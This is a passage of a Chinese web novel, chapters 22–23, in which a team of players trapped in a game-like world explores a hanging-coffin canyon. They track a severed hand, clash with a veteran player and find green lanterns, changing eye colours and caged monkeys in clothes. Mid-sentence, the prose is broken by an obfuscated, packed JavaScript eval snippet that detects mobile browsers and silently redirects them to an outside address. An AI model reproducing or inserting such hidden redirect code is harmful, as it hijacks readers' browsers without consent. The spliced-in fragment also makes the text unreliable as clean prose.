被撕裂的布料已经浸透了鲜血,但不难看出它原来的底色,那是一截带着暗纹的白色袖口。 是校服。 ——那是一只属于玩家的手。 22. 第四天·悬棺裂谷(二十二) 陆厌跳上栈道,接过祝灵正递过来的帕子,飞快地把那只断手拾起来包好。 那是一只左手,手指修长,骨节分明,显然属于一个男性,包裹住半个手掌的袖口看着十分眼熟,只是他们一时都想不起来哪个门派有这样的校服。 血慢慢地洇透了手帕,陆厌轻轻一碰,便道:“还有温度,时间不会太久!” “追!”师襄立刻道。 从现场留下的种种痕迹来看,这只断手的主人显然是被什么东西强行拖上栈道的,在这个过程中,他的左手卡在了木楔之中,被拖着他的那股巨大的力量硬生生扯断了。但师襄等人追着那个痕迹而来,全程却没有听到任何异常的声响,这个被拖走的玩家很可能已经失去意识了,进一步讲,他是否还活着……都很难说。 这只左手依然留有余温,血也在涌出,说明这一切都是不久之前才发生的。虽然希望不大,但如果他们现在赶上去,很可能还能追上这个玩家和带走他的“东西”。 不必多说,几人动作迅速,已经顺着栈道朝山上跑去。 这条栈道是钉死在山体之中的,半边紧贴岩壁,外侧以几条连在矮柱上的麻绳权作栏杆,跑起来连半点震动都没有,也不知道用的是什么木料,踏上去时发出的脚步声非常沉闷,几乎连他们自己都听不见。 栈道随山势越来越陡,一侧山壁上悬挂的黑棺数量也越来越多,但前方依旧是一片黑暗,没有半点声响。这种不祥的死寂令人无比焦急,时间拖得越长,受伤的玩家就越危险,众人都不知不觉加快了脚步,连手上火把的火光都被飞快前进时带来的风吹得忽明忽暗。 “停!” 忽然,火把映出的前路竟突兀地消失了,殷炽反应极快,伸手一拦,几个人堪堪停下脚步。 ——他们面前的栈道断开了,另一端消失在黑暗之中,但凡再多走半步,就会坠入深不见底的裂谷。 “我去看看。”祝灵正立刻道,话音刚落,左臂便一紧,殷炽的链刃已经以软鞭形态缠了上来,而他跃起一步,整个人已经变作了半空中朦胧闪烁的一团星云,消失在黑暗之中。 很快,那软鞭便由松弛逐渐变得绷紧,最后拉成一条直线,隐隐显示出链子原本的模样来,殷炽不得不站到断裂栈道的边缘,伸直手臂,让链刃延伸得更长。看到这一幕,几人脸上的表情都有些凝重,栈道断裂的部分似乎已经超过了他们扶摇蹑云起跳的距离。 不多时,那团星云便沿着软鞭飘了回来,祝灵正自半空现出身形,袍袖翩飞,极轻盈地落在栈道上。这就是衍天宗的门派轻功踏星行,取九字诀中“临兵斗者皆阵列前行”的第九字“行”,踏星化云,妙理无穷。 他一落地,便摇了摇头道:“缺口不算长,我去看过了,再往上走就是崖顶了,面积很小,什么也没有。” “什么?”这答案出乎意料,师襄一愣,“但这栈道也没有别的分岔路了。难道……” 她缓缓看向那道断口,皱起眉头。 那带走玩家的东西,不会是从这断裂的栈道处掉下去了吧。 更或许,这断口就是“它”制造出来的? 若真如此,那他们在栈道上耽误的时间就太多了! 其他人也想到了这一点,卫山河立刻道:“掉头回下一层,他们可能还在那里!” 黑暗中情况和高度都不明朗,他们也不敢从断层处贸然往下跳,只能掉头沿原路返回。师襄一边飞奔,一边愤愤地咬住下唇。 假如栈道是那东西撞断的,那它已经察觉到了他们的存在么?这个行为是挑衅戏弄还是躲避?时间已经过去这么久了,那个断了手的玩家还活着吗? 她深吸一口气,压制住伴随着无能为力感而来的愤怒,眼神更加专注地看向前方的黑暗。 越是这种时候,就越不能乱了阵脚。 “啪!” 跑在最前面的殷炽跳下栈道,一脚踩进水洼里,他借火把的光低头一看,便看到那水洼其实是一滩血泊,旁边还有不少凌乱的带血脚印,甚至还有刚刚在混乱中被卫山河丢下的绷带。 兜兜转转后,他们又回到了半山腰,悬棺裂谷这张地图的主战场。 “都小心点啊。”陆厌还揣着那只断手,他也不笑了,只是沉声叮嘱道,“那东西行动没有声音,应该不是巨型白毛野猪,都站在火把照得到的地方,不要分散。” 这支队伍的默契程度也是不言自明,不等他说完,其余人已经摆好戒备的态势,殷炽与卫山河开路,师襄在中,陆厌与祝灵正殿后,一行人顺着崖壁小心翼翼地向更深的黑暗中探去。 这半山腰基本全是裸露在外的山岩,偶尔有零星的地衣与苔藓覆盖,只有岩缝交接处还生着几丛杂草,山壁上倒是盘着不少青黑的藤蔓,有些直接顺着那些被钉在上面的悬棺垂落下来,轻微地摇晃着,交错的影子被火光投在地上犹如幢幢鬼手,诡异莫名。 “地上也有棺材。”卫山河低头看了一眼。 “正常,游戏里的悬棺裂谷也有。”陆厌手持双刀在后面回答道,“按理说这里还应该有些封死的山洞。” “应该会有的。”这次是殷炽接话,“地形在变宽,应该要进入山腹的位置了。” 陆厌嗯了一声,侧过脸看了祝灵正一眼,却发现他一副心事重重的表情。 “怎么了?”师襄也发现了,她心思伶俐,立即问,“你又看到什么东西了?” “……”祝灵正这次却没有立刻答话。他抬起眼,视线在众人的脸上一扫而过,又很快地垂下眼睛,露出有些为难的神色。其他人知道他的性格,也不催他,又这样往前走了一段,便听到他说:“我踏星行回来,刚在黑暗中看到你们手中的火把时,又有那种奇怪的感觉了。” 陆厌问:“还是好像看到了什么、却描述不出来吗?” 祝灵正轻轻点了点头:“是。我看到的东西是一闪而过的,我应该根本就没反应过来,但是确实是看见了,所以会下意识地觉得异样。” 听他的描述,这大概率并不是什么好事。师襄叹了口气,却也无计可施:“没办法,现在我们毫无线索,只能先把这件事放一下了。当务之急,我们还是先找到那个玩家吧……不知道他的队友又在哪里。” 她说完这些话,忽然觉得喉咙有些怪异感,清了清嗓子,又一切如常,没什么问题。 这时,一直注意着前方的殷炽却低声道:“等一下,前面有口被打开的棺材。” 听到这句话,众人顿时把目光移了过去,如他所说的那样,他们前方不远处、火把堪堪能照亮的地方,横倒着一口黑棺,棺盖已经被掀开了,内部一览无余。 事实上,那根本就是一口空棺。 发现里面没有东西,几人就是松了一口气,然后又想到了一个不太妙的可能性。 在地上留下痕迹、又拖走玩家的,不会就是这棺材里跑出来的东西吧? 殷炽已经举着火把靠近了那口空棺。他蹲下身,忽然伸出手,从棺材底部捏起了什么东西。 这东西一拿出来就带有隐约的腥臭味,卫山河皱起眉:“那是什么?” 殷炽就着火光细细打量,黑凌凌的眼睛里流露出了一点迷惑的意味,显然这东西的存在已经超出了他的预想。 “是……毛。”他说,又有几分困惑地重复了一遍,“是某种动物的毛发……也许是猴子?” 猴子…… 游戏里的浪客行,里面确实有猴子这种红名怪,也有作为boss出现的醉猿。 虽然勉强对得上,但说不上来是为什么,也许是这段时间以来在浪客行里锻炼出来的直觉,几人心里还是有一种驴唇不对马嘴的违和感。 暂且把这点疑问放下不谈,他们继续往前走,发现前方又接二连三地出现了横倒的黑棺。这些棺材大多都残破不堪了,也有不少棺盖脱落的,里面全都空空荡荡,有的结了蛛网,有的积着泛绿的水,而在这些棺材周围,无一例外,都能看到猴毛。 这些猴毛甚至根本不需要他们费心去观察,因为它们的数量并不少,散落一地,非常显眼,不过他们现在也没空研究这些棺材和毛发了,只是粗略地看了看,便继续向前寻去。 终于,在黑暗中摸索了大概半柱香的时间后,地上重新出现了草叶被压平和摩擦过的痕迹。 而在这痕迹的旁边,是一道长长的、触目惊心的蜿蜒血痕。 看到这血痕的一刹,师襄就是呼吸一滞。 整只左手被扯断,出血量确实是太大了,如果没能及时打好绷带或者凝血精,存活的概率实在是微乎其微。 她转头看了看队友,明暗摇曳的火光下,他们的表情也并不好看,显然和她想到一起去了。 只沉默了一瞬,陆厌便长长地吐出一口气:“都走到这里了,继续追吧。” 然而,就在他们刚要继续向前走的时候,黑暗中突然传来了一阵极其细小的声音。这声音微乎其微,若不是没人说话,很可能就要漏听。 那是一种奇怪的咔哒声,像是机括在轱辘辘地转动,但听在几个人耳中,却是再熟悉不过了,卫山河脸色微变,电光石火之间翻转松间云鹤挡在面前,就听到“铛”的一声脆响,一枚弩箭从黑暗之中疾射而来,直直地撞在了他的剑鞘上,随即掉落到地面。 这枚弩箭速度不快,但来势极凶,重若千钧,卫山河手腕一震,后退了两步。 那机括转动的咔哒声,竟是天罗诡道的重弩机关! 还不等几人有所反应,只听那机关又开始突突转动,似乎是在变换形态,殷炽甩下火把飞身挡在众人身前,手腕一抖,链刃成鞭,挥舞得密不透风,将射来的弩箭全部挡下,斩碎川波,一任无常! 没了火把,裂谷中顿时漆黑不见五指。那千机弩显然是切成了连弩形态,随着殷炽出鞭,金属撞击之声顿时铿铿锵锵响成一片,不知道有多少弩箭被鞭刃挡了下来,但其来势依然不减,黑暗中也无法判别方向,数不清的箭刃犹如疾风暴雨,劈头盖脸地打过来。 “后退!”不等斩无常结束,师襄已经喝道,五指迅速拨弦,笑傲光阴的淡青色音域在脚下展开的一刹,那连弩便停止了射击。 “到这边来!” 陆厌叫道,而祝灵正已经起卦,魂灯顿时光芒大放,短暂地映亮了他们这一方角落—— 右手边是万丈深渊,而左手边则是嶙峋巨岩,身侧山腹阔大,身前山道漫长,这半山腰竟然形成了类似山洞的巨大空间,一眼竟看不到头。 陆厌找到的正是那些巨岩中的一块,高大厚实,足以让众人藏身。几秒之内,几人借笑傲音域掩护,迅速地退到了巨岩之后。 笑傲光阴结束,那连弩又转动起来,开始不间歇地发射弩箭。 “有田螺?” 魂灯的光暗下去,殷炽点燃火把插在地上:“直接把我们当成是敌对玩家了吗?” “不一定,这里这么黑,也许是把我们当成了其他红名怪。”卫山河道,“而且田螺本人也未必就在机关旁边。” “问问不就知道了。”陆厌说,他手里还拿着一只混乱中捡起来的弩箭,那箭镞在火光之下反射着若有若无的绿色微光,显然是淬了毒的。 “你好?有人吗?我们也是玩家,没有恶意,只是看到了一只断手才一路追下来!”师襄扬声道,“你们有队友受伤了吗?需要帮忙吗?” 不知为何,她明明已经在尽量提高音量了,自己听到的声音却依旧不算洪亮,甚至还有种力不从心的微妙违和感。但对方应该是听到了,师襄话音落后,那连弩便停止了发射,机括咯咯两声,停了下来。 但并没有人回话。 “大家都是玩家,我们可以合作通关,交换情报。”师襄继续喊话,“受伤的玩家还好吗?我们这里也可以帮忙的!” 黑暗中寂静一片,依旧没人回答。但片刻之后,有极轻的脚步声响了起来,不紧不慢地向这块巨岩走来。 听到那轻得宛如鬼魅的沙沙脚步声逐渐靠近,师襄便想探身出去,但她才刚一动,肩膀就被按住了。 殷炽低声道:“不对劲,别出去。” 师襄动作一停,就听见咯咯两声机关装填的声音,紧接着绿光一闪,那巨岩朝外的一侧竟然崩碎开来,细小的石屑顿时四处飞溅,砸在裸露在外的皮肤上就是一阵火辣辣的疼痛。 “蚀肌弹。”卫山河沉声道。 祝灵正一愣:“什么鸡蛋?鸡蛋能有这么大的威力?” “……噗。”要不是时机不对,陆厌一定会笑出声来。 现在不是纠结蚀肌弹的时候,对方来势汹汹,看来和平相处的希望十分渺茫。师襄微微一偏头,和陆厌交换了一个眼色,陆厌便握上弯刀刀柄,伏底身形。 正当他要隐身的时候,对面突然有了回应。 说话的大概就是那个唐门,一个非常冷淡的男声,声音不大,但字字清晰。 他问道:“你们是玩家?第几天?” 陆厌动作一顿,手还放在刀柄上,刚想出声回应,却忽然意识到了什么,难掩惊讶地看向其他人。 和他们同批的玩家都在经历第四天,这唐门却还在问他们是第几天,显然,他就是孟秋所说的,经历了二周目乃至更多次数的老玩家! “回答我。”见他们并未立刻回答,那唐门冷漠道。 师襄一皱眉,火气也上来了,反问道:“你又是第几天?” 那唐门却仿佛没听见她的问题一样,冷冷淡淡地自顾自道:“是前四天吧,新玩家。” “……”如果刚刚是惊讶,那么现在就是震惊了。这唐门竟然准确地说出了他们经历的天数,如果是猜的,运气未免也太好了点。师襄心念电转,几乎立刻确定,第五天一定是浪客行的一个分水岭,这一天中,一定存在着能够清晰地分辨出第四与第五天的玩家之间不同的条件。 她想着这些,没有立刻答话,但唐门刚刚还催着他们回答,现在却又仿佛不着急了,黑暗中传来千机弩被收起的咔哒声。 他冷冷道:“不想死的话就掉头回山底,别跟过来。” 留下这句话,那轻飘飘的脚步声便快速远去,山腹之中重归寂静。 陆厌沉默片刻,笑了一笑:“……老玩家,很拽的样子嘛。” “也不能这么说,虽然他看起来很凶,但知道我们是新玩家之后,似乎又没什么敌意了。”师襄拔出火把,仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691170|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细照了照巨岩被蚀肌弹崩碎的那部分,一个多周目老玩家田螺的准头应该不至于这么差,显然他是故意瞄歪了发射的。 她眉头微皱:“这么看来,上一批老玩家们的关系不怎么样,起码已经到了见面就打的程度……第五天之后难道是强制PVP吗?” “不知道受伤的人是他还是他队友。”卫山河也道,“他好像一点也不担心的样子。” “谁知道呢,反正看样子也轮不到我们担心。”陆厌将双刀背了回去,拍了拍校服下摆的土,站起来,“那我们怎么说?往哪走?” “也就两条路,下山或继续前进。”殷炽说,也跟着站了起来,遥遥望向另一端的黑暗,“那人让我们不要跟过去,前面很可能有什么东西。” “这么说的话,我还偏要去看看前面有什么。”师襄说,“这才第四天,因为一句话就畏头畏尾,之后的几天怎么办?” 她说完,便看向队友:“你们的意见呢?” 且不提众人早已习惯了师襄迎难而上的个性,单说他们能被分到一队,个个都不是什么能忍气吞声的弱势性格。之前一心想着救人,莫名其妙被老玩家压了一头,大家心里都有些不痛快,现在听到她这么说,自然都是没有异议。 只是他们刚要顺着山道前进,祝灵正却站在原地没动。殷炽回头看他,就发现他正蹙眉凝视着那巨大洞窟一样的山腹。 “怎么了?”他问。 祝灵正道:“我想去那边……感觉,有东西。” “……”殷炽默默后退了两步,回头对师襄道,“继续往前走吧。” “想什么呢。”师襄失笑,“他都那么说了,当然是过去看看,到底有什么东西了。” “害怕的人可以站到我后面来。”陆厌善解人意道。 殷炽面无表情:“谁害怕?”他转头便问卫山河:“你害怕吗?” 卫山河已经麻木了:“对对对我害怕……离我远点。” “不要害怕,这个世界上没有鬼的。”殷炽严肃科普道,“要坚持唯物史观,那些东西都是电磁场、暗物质,是科学可以解释的。” 众人对这副论调都已经见怪不怪了,师襄点点头,冲着黑漆漆一片的山腹抬了抬下巴:“很有道理,那我们走吧。” “——好僵硬的背影。” 看着紧握链刃在前方开路的队友,陆厌忍不住吐槽道,却被师襄瞪了一眼:“现在不是开玩笑的时候,这张地图的怪是什么还不知道,现在又多了一个老玩家的队伍,认真一点。” 陆厌转头一笑:“是是是,知道了知道了……嗯?” 他的夜视能力格外出众,和师襄交谈时,无意中一抬头,便在黑暗中看到了一点莹莹的绿光。 这绿光距离他们并不算很远,但光芒并不明显,时隐时现,在黑暗中很容易被忽视。从陆厌注意到它的时候起,它就一直在高空悬浮不动,很显然并不是他们刚进裂谷时看到的流萤。 他低声道:“停一下,三点钟方向,抬头。” 众人脚步一顿,纷纷抬头,刚看清那绿光,紧接着就听到凌厉的破空声响起,殷炽已经一招血覆黄泉出手,链刃穿透绿光发出噗的一声轻响,不过瞬间,那东西已经被甩到了他们的脚边,狠狠地砸在地上。 ——他出招的速度太快,师襄一句“等等”就在嘴边,甚至都没来得及叫出来,这一切就结束了。她只得低头一看,出乎意料,那绿光却并不是什么危险的玩意,只是一个有点瘪了的灯笼。 这灯笼的防风做得不错,被摔在地上还没熄灭,只是外壳凹陷了进去。那种奇特的绿色光芒非常耀眼,已经盖过了火把的光,几乎把他们身畔四五尺的距离都照得清清楚楚。 “这蜡烛……是绿火啊。” 陆厌用脚尖轻轻踢了踢那灯笼,烛火微微一晃,燃烧得十分稳定。 “你们看过鬼吹灯么?摸金校尉的传统,在墓室的东南角点根蜡烛,蜡烛要是灭了或者火焰变绿了,就必须放下手里的东西立刻离开。”他用幽幽的语气说,“我还记得里面有段口诀,什么‘赤衣凶,笑面尸,鬼笑莫如听鬼哭’之类的……呃。” 说到最后,他却是被师襄拧了一下,闷闷地笑了两声,立即改口道:“但蜡烛变绿确实可以用科学解释,可能空气中含有磷元素嘛,只是焰色反应而已。” 祝灵正蹲下来,轻轻地碰了一下那个灯笼:“不……这蜡烛是正常的,但灯笼外壳是绿色的,透过这外壳的光就会变成绿色。” 他都这么说了,殷炽才默默地将钉死那灯笼的链刃收回来。 “但是很奇怪啊。”卫山河道,“这灯笼这么亮,我们之前竟然都没看到?就算是没抬头的话,也很容易注意到吧。” 这的确很奇怪,但谁也解释不了,师襄想了想:“难道这灯笼自带隐匿的效果吗?从远处看就很不显眼,走近了才能看到?” “也不是没有可能。”卫山河俯身拎起那只灯笼,“那这不就是游戏给我们准备的道具么。” 他将灯笼拎在手里,向四周照了一照。绿色的光虽然看起来诡异,但确实明亮非常,清清楚楚地映出了四周的山岩草地,比火把管用多了。突如其来的灯光驱散了黑暗,那种一直压抑在心头的危机感顿时便消散了很多,几人的脸色明显也轻松了不少,就继续往山腹内走去。 光线是明亮起来了,陆厌却不由看着那灯笼发起了愣。 他注意到,这只灯笼的烛台特地做了加固和防风,是以被殷炽狠狠甩到地上也没有熄灭,就连被卫山河提在手里走动时,那火焰也只是轻轻一摇晃就平稳了下来,稳定得就像一副凝固的画。 但他之前隔了一段距离看到这灯笼的时候,它的光芒明明是若有若无、非常飘忽的。 这种感觉非常怪异,如果要形容的话…… ——就好像是他同时还看到了别的什么东西一样! 这不正是祝灵正提及两次的事情吗? 再仔细一想,祝灵正两次察觉异常,都是在光线变化的时候,第一次是火把被殷炽熄灭的瞬间,第二次是踏星行回来在黑暗中看到他们的火把的时候。 想到这里,陆厌心里微微一动,感觉似乎抓住了什么飘忽不定的线索,真相仿佛就在嘴边呼之欲出,却怎么也想不起来。 重要线索憋不得,他连忙叫住队友们,把自己的感觉说了说。 有这绿灯笼在手,光线照明非常充足,队伍前进的速度便也快了一些。此时,他们已经朝山腹之内走了很长一段距离,似乎是走入了一个巨大无比的山洞之中。现在听到陆厌这么说,卫山河的表情顿时就不好看了,提着的灯笼仿佛突然开始烫手,扔也不是,不扔也不是。 祝灵正倒是非常赞同,认真道:“是的,就是这种感觉。灯光明明就在眼前却看不到,就好像……” 他卡住了,开始思索合适的形容词,殷炽却蹙紧眉头,漆黑的眼睛里透露出一种如临大敌的神色来。 大家彼此都很熟悉,看到他这副表情,师襄直接便问:“你想到什么了?” 殷炽看着她,遮住半张脸的长围巾下闷闷传来僵硬的声音:“就好像,有一双手,在时不时地遮住我们的眼睛……?” 23. 第四天·悬棺裂谷(二十三) 殷炽话音落地,久久没有人接过话头。 其他人心里怎么想的不知道,反正卫山河不说话,一方面是因为这个推论实在是非常诡谲,另一方面,确实也感受到了极大的震撼。他一边情不自禁地摸了摸自己的眼睛,一边在心里想:悬棺裂谷,的确是一个很了不得的地图。 ——最恐怖的推论,竟然是从他们之中最怕鬼的人的嘴中说出来的。 “所以说,是鬼遮眼么?” 最后还是师襄先开了口。 “我只是随口一说。”殷炽的表情管理优秀得仿佛可以直接去走T台,堪称不动如山,连眉毛都不挑一下,要不是话突然变多变密了,还真发现不了他在紧张,“鬼遮眼只是一个比喻,实际上会导致我们视线受阻的因素有很多,诸如光线变化,或是磁场偏移,都是有可能的。” “好,那我们先假定,有鬼一直跟着我们,并且试图阻碍我们的视线。”师襄直接跳过了殷炽的科学论证,冷静道,“那么,它想得到的结果是什么呢?目前这些干扰最多只是让我们对距离较远的光线不那么敏感而已,而且说实话,不算老玩家遭遇袭击那一次,我们从入谷到现在,还没有遇到过一次真正意义上的危险。” 她一口气说完这些话,觉得喉咙有点干,便侧过脸去,小声咳了两下。 “的确,按理说,第四天应该是比较危险的。”祝灵正道,“如果殷炽的想法是正确的,一直有东西跟着我们的话,那我们可能从一开始就处于危险之中,只是我们目前还没有触发死亡条件。” “或者……”陆厌轻轻一拍手,“我们已经在慢性死亡了,只是自己还没有发现。嘶,有点吓人啊。” 他们在说话时,也没有停下向山腹深处进发的脚步。虽然殷炽提出了鬼的假说(本人其实并不愿意承认),但他们同样也发现了野兽的踪迹,红名怪到底是什么还未可知,长时间停在一处也是很危险的,必须保持移动。 卫山河边走边听队友讨论,忽然感觉手背有些刺痒。他借手中灯笼的绿光看了一眼,一切如常,可能是行走中蹭到了岩壁上垂下来的藤蔓,便也没放在心上。 那边,师襄已经开始捋线索了。 “目前,我们掌握的线索有这么几个。首先是裂谷最底部的庞大兽骨堆,还有栈道,这两个线索可能在暗示我们,红名怪是野兽,而我们需要向上走。其次,整个悬棺裂谷的地形,加上底部的兽骨堆——兽葬坑,像一口巨大的棺材,这点代表了什么还不清楚,但想来不是什么吉利的事儿。” “之后我们向上走,发现了地上的痕迹,那是体型巨大的东西经过时留下来的,随后就出现了一只属于玩家的断手。接着,那东西撞破了栈道、带走了被袭击的玩家,但并不能确定它到底是什么,只知道它速度很快、行动悄无声息。”陆厌清了清嗓子,接过话头,“再然后,我们在追踪的过程中发现空棺里留下了很多猴毛,说明悬棺裂谷里大概率是有猴子存在的,这之后就遇到了多周目的老玩家……哦,同为玩家,他应该和这张图的设定没什么关系,也没给我们太多有用的信息。” “最后就是绿灯笼了,它的出现,相当于告诉我们,我们的视力有问题,看不到距离太远的光线,但为什么会产生这种问题还是一个未解之谜,目前大家都比较认可的情况,就是鬼遮眼。” “不过这么看来,红名怪大概不是鬼。”祝灵正道,“如果是鬼的话,不可能半点相关提示都不给,全靠我们自己猜。野兽的可能性还是更大一些。” “鬼遮眼只是一个比喻。”殷炽坚持道。他和卫山河走在最前面,和其他人说话的时候就要回过头,但这无意间的一瞥,却让他心里有种古怪的感觉。 “怎么了?”殿后的陆厌随着他的视线也回过头,他手中火把的照明范围远不如灯笼,来路已经被淹没在一片死寂的黑暗之中,“放心,后面我盯着呢,真有情况不可能察觉不到。” 他都这么说了,但殷炽依然紧蹙眉头,视线紧紧地跟着陆厌的脸。 不知道为什么,乍一回头的瞬间,他忽然感觉陆厌变得陌生了起来,但细看之下陆厌还是那个陆厌,那一瞬间的陌生感好像只是眼花。 “不对,等一下。”师襄却停下脚步。她刚刚也顺着殷炽的目光看向陆厌,但她看得要比殷炽更仔细一些,此时便面露疑色:“我怎么觉得,你哪里怪怪的?” 听到他们俩都这么说,陆厌一愣:“哪里怪?你俩可别吓人啊。” “说不上来。”师襄摇摇头,反复打量着陆厌的脸,皱起眉头,“好像也没什么变化啊,就是觉得哪里有点奇怪。” “眼睛。” 祝灵正却说。 他抬起眼,飞快地和陆厌对视了一下,立即移开目光,但语气倒是很笃定:“你的眼睛。” 一语惊醒梦中人,师襄立即道:“对!就是眼睛!” “眼睛怎么了?”陆厌道,他胆子也的确是很大,知道自己身上出事了,竟然还笑得出来,“别搞我啊,我可太满意这绿眼睛的设定了。” 卫山河直接从小队背包里拿出面锡镜递给他:“你自己看吧。” 陆厌接过镜子,把头上的兜帽往后扯了扯,打磨光亮的镜面上映出了他的双眼。 他的眼睛本来是猫眼一样极清透的绿色,但在镜中却呈现出暗沉的黄褐色,不知道是不是因为四周光线暗淡,虹膜边缘甚至还隐隐泛着一圈黑。 陆厌眨了眨眼,又摘下带着锋利黑甲的手套,用手指揉了揉眼睛。 不疼不痒,他感觉不到任何古怪之处,似乎只是单纯的颜色改变了。 “这是什么时候的事?”他穿戴好手套,问。 “之前我们完全没注意到,估计得有好一会儿了。”师襄道,“像我们这些经常看你的,就算发现了,也说不上来是哪儿不对,这应该是一个潜移默化的过程。你感觉有哪儿不舒服吗?” “没有啊。”陆厌莫名其妙道,说这话的时候他感觉自己的后脖颈有点痒,伸手轻轻抓了一下,“就很正常……” 他突然愣了一下,目光从师襄脸上移到卫山河脸上,又看向殷炽。 “你们的眼睛好像也不大对劲啊。” 一面小小的唐镜在五个人手里轮流传了一遍,最终确定,每个人的眼睛都在变成那种暗淡的黄褐色,只是其他人的黑眼睛看起来并不明显而已。 这种无来由的变化在浪客行中肯定不是什么好事,但是想想也知道,第四天不可能平平稳稳地就过去了,几个人心里多少都有所准备,因此也没有太惊慌。为了防止这种奇怪的变化是因为不利效果引起的,他们还轮流试了试各自的驱散技能,就差直接插个镇山河了,然而驱散过后,眼睛的颜色也并没有丝毫改变。 目前还看不出来这种变化到底有什么危险,纠结也没有意义,即使再奇怪,五人也只能暂且将这件事按下,继续朝祝灵正所说的感觉“有东西”的那个方向前进。 绿灯笼里面的蜡烛不知道是什么做的,像长明灯一样,似乎永远也不会烧完,借着这明亮的绿光,他们在这一路上逐渐发现了更多的悬在高处的灯笼,而两旁的岩壁也在慢慢收拢,似乎要走到山腹的尽头了。 “啪!” 卫山河一脚下去,不知道踩到了什么东西,发出一声轻响。 “树枝?”他提着灯笼,低头看了一眼,“不对,是木头。” 这块被他踩到的木头跟人的小臂差不多长,有点厚度,外表看上去十分斑驳,但弧度显然是被人工打磨过的,看起来并不算陌生。 “这是门闩吧。”师襄道,“就是那种别在门后面的滑动插销。” “这里有门么?”卫山河提高灯笼四处照了一下,这片山腹大而空旷,根本看不到头。但无论怎么说,在这个地方出现一扇门,都是非常奇怪的事情。 “顺着岩壁找。”陆厌却说,“这地方和游戏里的地图很像啊,游戏里的悬棺裂谷,在山壁上就有很多那种用木栅栏钉起来的山洞,也许是那个呢。” “专业人士”的指导非常管用,他们顺着岩壁慢慢前进照明,不多时,果然看到了大大小小的山洞。 这些山洞开在岩壁上,体积有大有小,上面都高高地挂着暗淡的绿灯笼。那些洞口无一例外,都被破破烂烂的栅栏钉住了,比较大的山洞还有简陋的栅栏门,那门闩大概就是用在这里的,但不知为何,所有封住洞口的栅栏都破得差不多了,几段木板挂在洞口处,随着偶尔吹来的冷风摇摇欲坠。 他们轻手轻脚地靠近最近的一个小山洞,殷炽向前几步,侧身朝内一看,便发现这个山洞内部空空如也,什么都没有。 他回头给队友们打了个手势,便跃过木栅栏上的破洞,跳了进去。 一进去,就有一股剧烈的臭味扑面而来,这臭味中夹杂着一丝腥气,即使隔着围巾也让人忍不住反胃,根本没法多待。殷炽屏住呼吸,快速打量了一遍,发现这山洞并不像外面看上去的那样空荡,相反,在岩壁的角落,堆积着一些快沤烂了的粗布条。 他强忍恶心一抖手腕,用链刃的刀尖把那些布条挑起来看了看,发现那似乎是些破损了的衣物,上面也不知道沾到了什么秽物,颜色已经分辨不出来了,但看布料,显然不是玩家的校服,而且扔在这里有些年头了。 这些粗布条上面也沾了些猴子毛,殷炽还想再仔细看看,但那股臭味越发浓烈,他实在待不下去,只得掉头从山洞里出去了。 他的刀尖上还挑着那些布条,那股浓郁的臭味便也跟着被带出来了,有洁癖的卫山河当即就后退两步,祝灵正动了动鼻子,也跟着退远了一些,两个人双手缩进宽大的袍袖之中,一脸冷漠地看着这边。 “这是衣服?”陆厌单手捂住口鼻,皱着眉头凑近看了一下,立刻远离,“怎么这么臭……山洞里面有茅坑吗?” 殷炽链刃一抖,把那些布条甩在地上,开始擦刀:“没。除了这些,里面什么都没有。” “这就是衣服。”师襄也屏住呼吸观察了一下,“也不奇怪,从栈道到这些栅栏门,都是人工修筑的,虽然年头已经很远了,但起码说明有人在这个悬棺裂谷里活动过。我更想知道,为什么这些衣服上还沾了猴毛?这些挡在山洞门口的栅栏又是想拦住什么呢?” “什么东西会产出猴毛?”卫山河道,“猴子会。所以这个栅栏是关猴子的,有人把猴子关在山洞里面。” “棺材里也有,所以他们也把猴子关在棺材里?”殷炽疑道,“这又是为什么?” 这个问题卫山河也回答不了,只得耸耸肩。这个动作却让师襄多看了他一眼,有点疑惑。 这气纯嘴上不说,其实内心里很有偶像包袱,自然非常注意自己的形象,平日里站如青松,端正而挺拔,很少看他做出耸肩这样的动作。 陆厌此时却道:“前面还有个更大的山洞,去看看。” 师襄于是收回目光,继续向前走去,果然,前面山壁上有一口更大的山洞,外侧的木栅栏也是七零八落,像是被什么巨大的物体狠狠冲撞过一样,整个洞口几乎已经相当于是完全敞开着的了。 像之前那个山洞一样,这口山洞的地面上也散落着不少烂布条和猴毛,旁边还掉落着一只镐。说是镐,其实它的木手柄已经沤烂得差不多了,只剩个锈迹斑斑的铁镐头,颜色暗红,不知道是铁锈还是血渍。除此之外,这山洞里也没有什么别的东西了。 他们一连看了三四个山洞,情况都大同小异,但依然是摸不着头脑。眼看着前面只剩最后一个山洞了,师襄本以为这次依旧会没什么收获,却不想灯笼的光一照,赫然映出那山洞洞口完好无损的栅栏来。 “这个山洞有——” 她话还没说完,紧接着,在众目睽睽之下,那诡异绿光映出的木栅栏上,突然多出了一双毛茸茸的手! “我……的天啊。”陆厌咽下差点脱口而出的国骂,惊讶道,“这里面有猴!” 的确,那双毛茸茸的手虽然怪异,但仔细一看,就能发现,那根本就是猴子的双爪。 这差不多是他们走进悬棺裂谷后,除了那名老玩家之外遇到的第一个活物,卫山河赶紧将灯笼凑近,便看到那山洞栅栏门前竟然簇拥着起码四五只猴子。 这些猴子似乎很畏惧光亮,一个个都埋着头,但却又不跑,只是挤在门边,用爪子紧紧地抓着栅栏,也没表现出什么攻击性来。 “是猴子,但好像不是怪啊。”师襄奇道,“这看起来比峨眉山的那些猴子可乖多了……嗯?角落那个是什么?” 她指了指,在光与暗边缘的山洞角落里,有个大黑影蜷缩在那里,一动不动。卫山河将灯笼凑近了些,抵在栅栏上,绿光映出了那东西的毛茸茸的小腿和脚,却是一只体型特别大的猴子。 这只猴子被绿光照到了,微微向黑暗中挪动了一下。随着它的动作,一片布料垂了下来,盖住了它的小腿。 “是只穿衣服的猴子。”殷炽道。 “有人把这些猴子关在这里,还给它们穿上人的衣服?”祝灵正轻声道,“前面那些山洞,是猴子们把栅栏冲破逃出去了么?” 